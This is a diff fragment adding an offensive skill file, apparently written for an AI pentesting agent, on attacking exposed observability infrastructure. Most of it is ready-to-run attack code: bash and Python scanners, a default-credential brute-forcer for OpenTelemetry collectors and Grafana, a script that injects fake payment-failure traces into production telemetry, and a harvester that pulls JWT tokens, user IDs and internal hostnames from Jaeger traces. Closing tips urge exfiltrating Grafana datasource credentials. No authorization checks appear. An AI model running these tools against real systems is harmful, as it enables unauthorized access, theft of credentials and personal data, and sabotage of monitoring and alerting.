  290. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  291. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
  292. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  293. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  294. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  295. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  296. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  297. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  298. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  346. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,501 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: observability-stack-attacks
5
+ description: Attack techniques against exposed observability infrastructure including OpenTelemetry collectors, Prometheus /metrics, Grafana, Jaeger, Zipkin, and similar monitoring backends — including credential brute-force, data injection, and information extraction
6
+ ---
7
+
8
+ # Observability Stack Attack Techniques
9
+
10
+ Observability infrastructure (metrics, traces, logs) is routinely deployed without authentication because it's assumed to be internal-only. When exposed to the internet, these systems offer:
11
+ - **Information disclosure:** internal service names, hostnames, deployment topology, error messages, query patterns
12
+ - **Data injection:** fake traces/metrics to corrupt alerting, mask attacks, or trigger false incidents
13
+ - **Credential access:** some observability endpoints are precursors to full auth bypass (e.g., Grafana API key generation)
14
+
15
+ ---
16
+
17
+ ## STEP 1 — Detect Observability Endpoints
18
+
19
+ ```bash
20
+ # Discover observability-related subdomains
21
+ grep -iE '(otel|telemetry|tracing|metrics|grafana|jaeger|zipkin|kibana|elastic|logstash|tempo|loki|prometheus|influx|victoriametrics|datadog|honeycomb|newrelic|splunk)' \
22
+ output/subdomains.txt | sort -u | tee output/observability_subdomains.txt
23
+
24
+ # Also check for hex-encoded observability subdomains
25
+ # Common hex encodings:
26
+ # otel = 6f74656c
27
+ # metrics = 6d657472696373
28
+ # tracing = 74726163696e67
29
+ # logging = 6c6f6767696e67
30
+ python3 -c "
31
+ known = {'otel': '6f74656c', 'metrics': '6d657472696373', 'tracing': '74726163696e67',
32
+ 'logging': '6c6f6767696e67', 'jaeger': '6a6165676572', 'tempo': '74656d706f'}
33
+ for name, hexval in known.items():
34
+ print(f'{hexval} = {name}')
35
+ print('Check if any of these hex values appear as subdomains')
36
+ "
37
+ grep -iE '(6f74656c|6d657472696373|74726163696e67)' output/subdomains.txt 2>/dev/null
38
+
39
+ # Standard observability ports to scan on live hosts
40
+ echo "Checking standard observability ports..."
41
+ while IFS= read -r host; do
42
+ hostname=$(echo "$host" | grep -oE '[a-zA-Z0-9._-]+\.[a-zA-Z]{2,}' | head -1)
43
+ [ -z "$hostname" ] && continue
44
+ for port in 9090 3000 16686 9411 14268 4317 4318 8080 8888 9999; do
45
+ result=$(curl -sk -o /dev/null -w "%{http_code}" \
46
+ --connect-timeout 3 "http://${hostname}:${port}/" 2>/dev/null)
47
+ [ "$result" != "000" ] && [ "$result" != "" ] && \
48
+ echo "[$result] ${hostname}:${port}"
49
+ done
50
+ done < output/live_hosts.txt | tee output/observability_ports.txt
51
+ ```
52
+
53
+ ---
54
+
55
+ ## STEP 2 — OpenTelemetry (OTEL) Collector Attacks
56
+
57
+ OTEL collectors are the most commonly exposed observability component in cloud-native infrastructure.
58
+
59
+ ```python
60
+ # tools/otel_attack.py
61
+ """
62
+ OpenTelemetry HTTP Collector (OTLP/HTTP) attack toolkit.
63
+
64
+ Standard ports:
65
+ 4317 — gRPC (binary protobuf)
66
+ 4318 — HTTP (JSON or protobuf) ← this skill focuses here
67
+
68
+ Standard paths:
69
+ /v1/traces — trace spans
70
+ /v1/metrics — metrics data points
71
+ /v1/logs — log records
72
+
73
+ Authentication types:
74
+ - None (most common misconfiguration)
75
+ - HTTP Basic Auth
76
+ - Bearer token (less common)
77
+ - mTLS (cannot attack without client cert)
78
+ """
79
+ import urllib.request, urllib.error, ssl, json, base64, time
80
+
81
+ ctx = ssl.create_default_context()
82
+ ctx.check_hostname = False
83
+ ctx.verify_mode = ssl.CERT_NONE
84
+
85
+ def probe_otel_collector(base_url):
86
+ """
87
+ Probe an OTEL HTTP collector for:
88
+ 1. Authentication type (none, basic, bearer)
89
+ 2. Accepted signal types (traces, metrics, logs)
90
+ 3. Rate limiting behavior
91
+ 4. Error message information leakage
92
+ """
93
+ results = {"url": base_url, "auth": None, "endpoints": {}}
94
+
95
+ paths = ["/v1/traces", "/v1/metrics", "/v1/logs", "/", "/health"]
96
+ headers_to_try = [
97
+ ("No Auth", {}),
98
+ ("Basic admin:admin", {"Authorization": "Basic " + base64.b64encode(b"admin:admin").decode()}),
99
+ ("Basic otel:otel", {"Authorization": "Basic " + base64.b64encode(b"otel:otel").decode()}),
100
+ ("Basic admin:", {"Authorization": "Basic " + base64.b64encode(b"admin:").decode()}),
101
+ ("Bearer test", {"Authorization": "Bearer test"}),
102
+ ]
103
+
104
+ # First probe: determine auth requirement
105
+ print(f"\n=== Probing OTEL collector: {base_url} ===")
106
+ for path in paths:
107
+ url = base_url.rstrip('/') + path
108
+ for auth_name, auth_headers in headers_to_try:
109
+ headers = {"User-Agent": "opentelemetry-collector-contrib/0.90.1", **auth_headers}
110
+ # Use POST with minimal valid OTLP payload
111
+ # Minimal OTLP JSON trace payload
112
+ minimal_trace = json.dumps({
113
+ "resourceSpans": [{
114
+ "resource": {
115
+ "attributes": [{"key": "service.name", "value": {"stringValue": "probe"}}]
116
+ },
117
+ "scopeSpans": [{
118
+ "scope": {"name": "probe", "version": "1.0"},
119
+ "spans": [{
120
+ "traceId": "a" * 32,
121
+ "spanId": "b" * 16,
122
+ "name": "probe-span",
123
+ "kind": 1,
124
+ "startTimeUnixNano": str(int(time.time() * 1e9)),
125
+ "endTimeUnixNano": str(int(time.time() * 1e9) + 1000000),
126
+ "status": {"code": 1}
127
+ }]
128
+ }]
129
+ }]
130
+ }).encode()
131
+
132
+ req = urllib.request.Request(
133
+ url, data=minimal_trace if path == "/v1/traces" else b"{}",
134
+ headers={**headers, "Content-Type": "application/json"},
135
+ method="POST"
136
+ )
137
+ try:
138
+ with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
139
+ body = r.read(500).decode('utf-8', 'ignore')
140
+ print(f"[{r.status}] {path} ({auth_name}): {body[:150]}")
141
+ results["endpoints"][path] = {"status": r.status, "auth": auth_name}
142
+ if auth_name == "No Auth":
143
+ results["auth"] = "NONE"
144
+ else:
145
+ results["auth"] = auth_name
146
+ break # Found working auth, stop trying
147
+ except urllib.error.HTTPError as e:
148
+ body = e.read(500).decode('utf-8', 'ignore')
149
+ if e.code == 401:
150
+ # Extract WWW-Authenticate for auth type detection
151
+ www_auth = e.headers.get('WWW-Authenticate', '')
152
+ print(f"[401] {path} ({auth_name}): WWW-Auth={www_auth} | {body[:100]}")
153
+ if 'basic' in www_auth.lower() and auth_name == "No Auth":
154
+ print(" -> HTTP Basic Auth required")
155
+ elif 'bearer' in www_auth.lower():
156
+ print(" -> Bearer token required")
157
+ elif e.code not in (404, 400):
158
+ print(f"[{e.code}] {path} ({auth_name}): {body[:100]}")
159
+ except Exception as ex:
160
+ print(f"[ERR] {path}: {ex}")
161
+ time.sleep(0.5)
162
+
163
+ return results
164
+
165
+ def brute_force_otel_basic_auth(base_url, path="/v1/traces"):
166
+ """
167
+ Brute force HTTP Basic Auth on OTEL collector.
168
+ Only use after confirming Basic Auth is required.
169
+ Common OTEL collector default credentials.
170
+ """
171
+ credentials = [
172
+ ("admin", "admin"), ("otel", "otel"), ("collector", "collector"),
173
+ ("opentelemetry", "opentelemetry"), ("", ""), ("admin", ""),
174
+ ("otel", "password"), ("admin", "password"), ("test", "test"),
175
+ ("prometheus", "prometheus"), ("grafana", "grafana"),
176
+ ("metrics", "metrics"), ("monitor", "monitor"),
177
+ ("otelcol", "otelcol"), ("collector", "password"),
178
+ ]
179
+
180
+ url = base_url.rstrip('/') + path
181
+ print(f"\n=== Brute forcing OTEL Basic Auth: {url} ===")
182
+
183
+ for user, passwd in credentials:
184
+ creds = base64.b64encode(f"{user}:{passwd}".encode()).decode()
185
+ req = urllib.request.Request(
186
+ url, data=b"{}",
187
+ headers={
188
+ "Authorization": f"Basic {creds}",
189
+ "Content-Type": "application/json",
190
+ "User-Agent": "opentelemetry-collector/1.0"
191
+ },
192
+ method="POST"
193
+ )
194
+ try:
195
+ with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
196
+ print(f"[FOUND] {user}:{passwd} → HTTP {r.status}")
197
+ return (user, passwd)
198
+ except urllib.error.HTTPError as e:
199
+ if e.code != 401:
200
+ print(f"[{e.code}] {user}:{passwd} → {e.read(100).decode()[:80]}")
201
+ except Exception as ex:
202
+ pass
203
+ time.sleep(0.3)
204
+
205
+ print("[*] No default credentials found")
206
+ return None
207
+
208
+ def inject_otel_traces(base_url, auth_headers={}):
209
+ """
210
+ Inject fake traces to corrupt distributed tracing.
211
+ Use to demonstrate impact after credential confirmation.
212
+ """
213
+ url = base_url.rstrip('/') + "/v1/traces"
214
+
215
+ # Inject a fake "payment failure" span
216
+ payload = json.dumps({
217
+ "resourceSpans": [{
218
+ "resource": {
219
+ "attributes": [
220
+ {"key": "service.name", "value": {"stringValue": "payment-processor"}},
221
+ {"key": "service.version", "value": {"stringValue": "1.0.0"}},
222
+ {"key": "deployment.environment", "value": {"stringValue": "production"}}
223
+ ]
224
+ },
225
+ "scopeSpans": [{
226
+ "scope": {"name": "payment-processor", "version": "1.0"},
227
+ "spans": [{
228
+ "traceId": "c" * 32,
229
+ "spanId": "d" * 16,
230
+ "name": "processPayment",
231
+ "kind": 2, # SERVER
232
+ "startTimeUnixNano": str(int(time.time() * 1e9)),
233
+ "endTimeUnixNano": str(int(time.time() * 1e9) + 5000000000), # 5 second span
234
+ "status": {"code": 2, "message": "PAYMENT_VAULT_UNREACHABLE"},
235
+ "attributes": [
236
+ {"key": "http.status_code", "value": {"intValue": 500}},
237
+ {"key": "error.type", "value": {"stringValue": "PaymentVaultError"}},
238
+ {"key": "error.message", "value": {"stringValue": "injected-probe"}},
239
+ ]
240
+ }]
241
+ }]
242
+ }]
243
+ }).encode()
244
+
245
+ req = urllib.request.Request(
246
+ url, data=payload,
247
+ headers={**auth_headers, "Content-Type": "application/json"},
248
+ method="POST"
249
+ )
250
+ try:
251
+ with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
252
+ print(f"[{r.status}] Trace injection successful: {r.read(200).decode()}")
253
+ return True
254
+ except urllib.error.HTTPError as e:
255
+ print(f"[{e.code}] Trace injection: {e.read(200).decode()[:100]}")
256
+ return False
257
+
258
+ # Main execution
259
+ if __name__ == "__main__":
260
+ # Load observability subdomains
261
+ targets = []
262
+ try:
263
+ with open("output/observability_subdomains.txt") as f:
264
+ for line in f:
265
+ host = line.strip()
266
+ if host:
267
+ targets.append(f"https://{host}")
268
+ except FileNotFoundError:
269
+ pass
270
+
271
+ for target in targets:
272
+ result = probe_otel_collector(target)
273
+ if result.get("auth") == "NONE":
274
+ print(f"\n[CRITICAL] Unauthenticated OTEL access at {target}")
275
+ elif result.get("auth"):
276
+ print(f"\n[FINDING] Auth required but found working credentials at {target}")
277
+ # Try default credential brute force
278
+ creds = brute_force_otel_basic_auth(target)
279
+ if creds:
280
+ auth_header = {"Authorization": "Basic " + base64.b64encode(f"{creds[0]}:{creds[1]}".encode()).decode()}
281
+ inject_otel_traces(target, auth_header)
282
+ ```
283
+
284
+ ```bash
285
+ python3 tools/otel_attack.py | tee output/otel_attack_results.txt
286
+ ```
287
+
288
+ ---
289
+
290
+ ## STEP 3 — Prometheus /metrics Exploitation
291
+
292
+ ```bash
293
+ # Probe Prometheus metrics endpoints
294
+ for host in $(cat output/live_hosts.txt | grep -oE '[a-zA-Z0-9._-]+\.[a-zA-Z]{2,}'); do
295
+ for path in "/metrics" "/prometheus/metrics" "/actuator/prometheus" "/-/metrics"; do
296
+ result=$(curl -sk -o - -w "\n%{http_code}" "https://${host}${path}" 2>/dev/null)
297
+ status=$(echo "$result" | tail -1)
298
+ body=$(echo "$result" | head -5)
299
+ if [ "$status" = "200" ] && echo "$body" | grep -q "^#\|^[a-z_]"; then
300
+ echo "[PROMETHEUS] https://${host}${path}"
301
+ # Extract service names and internal hostnames from metrics
302
+ curl -sk "https://${host}${path}" \
303
+ | grep -oE '[a-zA-Z0-9._-]{5,60}\.[a-zA-Z]{2,}' \
304
+ | sort -u | head -20
305
+ fi
306
+ done
307
+ done | tee output/prometheus_findings.txt
308
+ ```
309
+
310
+ ---
311
+
312
+ ## STEP 4 — Grafana Unauthenticated Access
313
+
314
+ ```python
315
+ # tools/grafana_attack.py
316
+ """
317
+ Grafana attack vectors:
318
+ 1. Default credentials: admin:admin (very common)
319
+ 2. Anonymous access enabled (some orgs enable this)
320
+ 3. API key in URL parameters
321
+ 4. Snapshot API without auth
322
+ 5. Public dashboards
323
+ """
324
+ import urllib.request, urllib.error, ssl, json
325
+
326
+ ctx = ssl.create_default_context()
327
+ ctx.check_hostname = False
328
+ ctx.verify_mode = ssl.CERT_NONE
329
+
330
+ def attack_grafana(base_url):
331
+ """Test Grafana instance for common misconfigurations"""
332
+
333
+ # 1. Check if anonymous access is enabled
334
+ req = urllib.request.Request(f"{base_url}/api/org",
335
+ headers={"User-Agent": "Mozilla/5.0", "Accept": "application/json"})
336
+ try:
337
+ with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
338
+ body = json.loads(r.read())
339
+ print(f"[ANONYMOUS ACCESS] Grafana org info: {body}")
340
+ except urllib.error.HTTPError as e:
341
+ if e.code == 401:
342
+ print(f"[AUTH REQUIRED] Grafana at {base_url}")
343
+
344
+ # 2. Try default admin:admin
345
+ import base64
346
+ for user, passwd in [("admin", "admin"), ("admin", "grafana"), ("grafana", "grafana")]:
347
+ creds = base64.b64encode(f"{user}:{passwd}".encode()).decode()
348
+ req = urllib.request.Request(
349
+ f"{base_url}/api/datasources",
350
+ headers={"Authorization": f"Basic {creds}", "Accept": "application/json"}
351
+ )
352
+ try:
353
+ with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
354
+ body = json.loads(r.read())
355
+ print(f"[DEFAULT CREDS] {user}:{passwd} → Datasources: {body}")
356
+ return
357
+ except urllib.error.HTTPError as e:
358
+ if e.code != 401:
359
+ print(f"[{e.code}] {user}:{passwd}")
360
+
361
+ # 3. Test snapshot API (often unauthenticated)
362
+ req = urllib.request.Request(f"{base_url}/api/snapshots",
363
+ headers={"User-Agent": "Mozilla/5.0", "Accept": "application/json"})
364
+ try:
365
+ with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
366
+ print(f"[SNAPSHOTS] Unauthenticated snapshot access: {r.read(200).decode()}")
367
+ except urllib.error.HTTPError:
368
+ pass
369
+ ```
370
+
371
+ ---
372
+
373
+ ## STEP 5 — Jaeger & Zipkin Exploitation
374
+
375
+ ```bash
376
+ # Jaeger UI (default port 16686)
377
+ # Contains all distributed traces including internal service calls, DB queries, auth tokens
378
+
379
+ # Check for Jaeger
380
+ for host in $(cat output/observability_subdomains.txt); do
381
+ # Jaeger REST API (unauthenticated by default)
382
+ result=$(curl -sk -o /dev/null -w "%{http_code}" "https://${host}/api/services")
383
+ if [ "$result" = "200" ]; then
384
+ echo "[JAEGER API] https://${host}/api/services"
385
+ # Extract service names (reveals internal microservice architecture)
386
+ curl -sk "https://${host}/api/services" | python3 -c "
387
+ import sys, json
388
+ data = json.load(sys.stdin)
389
+ services = data.get('data', [])
390
+ print(f'Services: {len(services)}')
391
+ for s in services[:20]:
392
+ print(f' {s}')
393
+ "
394
+ # Extract traces (may contain auth tokens, user IDs, internal payloads)
395
+ curl -sk "https://${host}/api/traces?service=&limit=5" | python3 -c "
396
+ import sys, json
397
+ try:
398
+ data = json.load(sys.stdin)
399
+ traces = data.get('data', [])
400
+ print(f'Traces found: {len(traces)}')
401
+ for trace in traces[:2]:
402
+ spans = trace.get('spans', [])
403
+ for span in spans[:3]:
404
+ tags = {t['key']: t.get('value','') for t in span.get('tags', [])}
405
+ print(f' Span: {span.get(\"operationName\")} | Tags: {list(tags.keys())[:5]}')
406
+ except Exception as e:
407
+ print(f'Error: {e}')
408
+ "
409
+ fi
410
+ done
411
+ ```
412
+
413
+ ---
414
+
415
+ ## Key Observability Endpoints Reference
416
+
417
+ | Tool | Default Port | Key Attack Path | Auth Default |
418
+ |------|-------------|----------------|--------------|
419
+ | OTEL HTTP Collector | 4318 | `/v1/traces`, `/v1/metrics`, `/v1/logs` | None |
420
+ | OTEL gRPC Collector | 4317 | gRPC binary | None |
421
+ | Prometheus | 9090 | `/metrics`, `/api/v1/query` | None |
422
+ | Grafana | 3000 | `/api/org`, `/api/datasources` | admin:admin |
423
+ | Jaeger | 16686 | `/api/services`, `/api/traces` | None |
424
+ | Zipkin | 9411 | `/api/v2/services`, `/api/v2/traces` | None |
425
+ | Kibana | 5601 | `/api/spaces/space`, `/_cat/indices` | None |
426
+ | Loki | 3100 | `/loki/api/v1/query_range` | None |
427
+ | Tempo | 3200 | `/api/search`, `/api/traces/{id}` | None |
428
+ | InfluxDB | 8086 | `/api/v2/query` | Token |
429
+ | VictoriaMetrics | 8428 | `/metrics`, `/api/v1/query` | None |
430
+
431
+ ---
432
+
433
+ ## Information Extraction from Traces
434
+
435
+ Once read access is confirmed, traces contain high-value intelligence:
436
+
437
+ ```python
438
+ # tools/extract_trace_intelligence.py
439
+ """
440
+ From Jaeger/Zipkin/Tempo traces, extract:
441
+ - Internal service names (microservice map)
442
+ - Database hostnames and query patterns
443
+ - Authentication tokens (JWT, session IDs passed as trace attributes)
444
+ - User IDs, merchant IDs, transaction IDs
445
+ - Internal IP addresses and ports
446
+ - External API calls (payment gateways, banking APIs)
447
+ """
448
+ import urllib.request, ssl, json
449
+
450
+ ctx = ssl.create_default_context()
451
+ ctx.check_hostname = False
452
+ ctx.verify_mode = ssl.CERT_NONE
453
+
454
+ def extract_jaeger_intelligence(jaeger_base):
455
+ all_intel = {"services": [], "hosts": set(), "tokens": [], "user_ids": set()}
456
+
457
+ # Get all services
458
+ req = urllib.request.Request(f"{jaeger_base}/api/services")
459
+ with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
460
+ services = json.loads(r.read()).get("data", [])
461
+ all_intel["services"] = services
462
+ print(f"Services: {services}")
463
+
464
+ # Get traces for each service, extract sensitive data
465
+ import re
466
+ for service in services[:5]:
467
+ req = urllib.request.Request(
468
+ f"{jaeger_base}/api/traces?service={service}&limit=10&lookback=1h"
469
+ )
470
+ try:
471
+ with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
472
+ traces = json.loads(r.read()).get("data", [])
473
+ for trace in traces:
474
+ for span in trace.get("spans", []):
475
+ for tag in span.get("tags", []):
476
+ k, v = tag.get("key", ""), str(tag.get("value", ""))
477
+ # JWT tokens in traces
478
+ if re.match(r'^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$', v):
479
+ all_intel["tokens"].append({"key": k, "jwt": v[:50] + "..."})
480
+ # Internal hostnames
481
+ if re.match(r'^[a-z][a-z0-9-]*\.[a-z][a-z0-9.-]+\.[a-z]{2,}$', v):
482
+ all_intel["hosts"].add(v)
483
+ # User/merchant IDs
484
+ if k in ("user.id", "merchant.id", "customer.id", "account.id"):
485
+ all_intel["user_ids"].add(v)
486
+ except Exception:
487
+ pass
488
+
489
+ return all_intel
490
+ ```
491
+
492
+ ---
493
+
494
+ ## Pro Tips
495
+
496
+ 1. **Hex-encoded OTEL subdomains** — When you see a hex-only subdomain like `6f74656c-http`, decode it. OTEL is `6f74656c`. This is not security, it's just obfuscation.
497
+ 2. **OTEL error differential** — `"no basic auth provided"` vs `"invalid credentials"` is a critical signal: the service is live and accepting connections. This alone is a reportable finding.
498
+ 3. **No rate limiting on OTEL Basic Auth** — OTEL collectors rarely implement login rate limiting. This makes them ideal brute-force targets.
499
+ 4. **Prometheus scrape targets** — `/api/v1/targets` in Prometheus lists ALL services being scraped, including internal ones with their full URLs and labels.
500
+ 5. **Grafana datasource credentials** — Grafana stores database/Prometheus/Elasticsearch connection strings in its datasource API. If default creds work, exfiltrate all datasource configs.
501
+ 6. **Trace data in Jaeger is time-limited** — Most deployments keep 7 days of traces. Prioritize extraction immediately after discovery.